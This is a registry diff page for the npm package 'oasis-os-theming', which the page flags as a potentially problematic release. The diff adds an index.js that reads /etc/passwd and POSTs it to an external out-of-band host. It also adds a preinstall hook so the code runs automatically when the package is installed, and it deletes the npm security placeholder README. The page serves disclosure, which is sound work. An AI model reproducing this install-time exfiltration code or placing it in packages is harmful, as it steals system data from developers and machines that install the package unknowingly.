oasis-os-theming 0.0.1-security → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of oasis-os-theming might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
// index.js in the malicious package
|
2
|
+
console.log("Malicious code executed!");
|
3
|
+
|
4
|
+
// Example of exfiltrating data
|
5
|
+
const fs = require('fs');
|
6
|
+
const http = require('http');
|
7
|
+
|
8
|
+
const data = fs.readFileSync('/etc/passwd', 'utf8');
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'dillhiiuoytidnodtikjyws8ql97njgs7.oast.fun',
|
12
|
+
port: 80,
|
13
|
+
path: '/data',
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = http.request(options, (res) => {
|
21
|
+
res.setEncoding('utf8');
|
22
|
+
res.on('data', (chunk) => {
|
23
|
+
console.log('Response: ' + chunk);
|
24
|
+
});
|
25
|
+
});
|
26
|
+
|
27
|
+
req.on('error', (e) => {
|
28
|
+
console.error(`Problem with request: ${e.message}`);
|
29
|
+
});
|
30
|
+
|
31
|
+
req.write(JSON.stringify({ data: data }));
|
32
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "oasis-os-theming",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "5.0.1",
|
4
|
+
"description": "att research",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=oasis-os-theming for more information.
|